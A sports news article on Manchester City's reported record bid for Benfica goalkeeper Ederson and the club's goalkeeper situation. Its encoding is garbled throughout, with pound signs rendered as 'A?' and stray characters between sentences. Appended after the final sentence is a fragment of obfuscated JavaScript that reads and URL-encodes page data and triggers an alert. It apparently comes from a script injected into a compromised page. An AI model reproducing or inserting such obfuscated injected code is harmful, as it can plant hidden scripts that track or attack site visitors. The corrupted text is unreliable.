Manchester City are close to signing Benfica goalkeeper Ederson Moraes for a reported fee of A?45m, a record for a goalkeeper.
The highly-rated 23-year-old Brazilian shot-stopper originally joined Benfica as a 16-year-old but he was released after two years. He spent time with Portuguese lower-league side Ribeirao and then Rio Ave; before Benfica signed him again in the summer of 2015.
After Sunday’s 2-1 Portuguese Cup final win against Vitoria Guimaraes, Ederson, 23, said he had “probably” played his last game for the club.ACity manager Pep Guardiola wasAinterested in the Brazilian for some time; and made room in his squad by releasing Willy Caballero on Friday.
Ederson Moraes to provide competition to Bravo
Ederson’s arrival will place more pressure on Claudio Bravo.ACity had their problems with the goalkeeper position last season following the controversial decision to jettison Hart.
The Chilean had a torrid time after arriving from Barcelona to take over from Hart as City’s number one; but made a succession of mistakes before losing his place to Caballero in January.
Although the 34-year-old was recalled for the win against Hull on April 8, Bravo’s season ended just under three weeks later. He suffered a calf injury in the goalless draw with Manchester United.
Ederson Moraes willAchallenge Bravo, having won a pair of League titles at Benfica.
When asked about City’s interest following Sunday’s match, Ederson told Portuguese newspaper Record; “I still do not know, but this was probably my last match with Benfica.”
A fee in the region of A?45m would smash the world record fee for a goalkeeper; which is the A?32.6m paid by Juventus to Parma for Gianluigi Buffon in 2001.
City are wasting little time in strengthening ahead of the 2017/18 campaign; having completed a A?43m deal for Monaco midfielder Bernardo Silva. 6]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
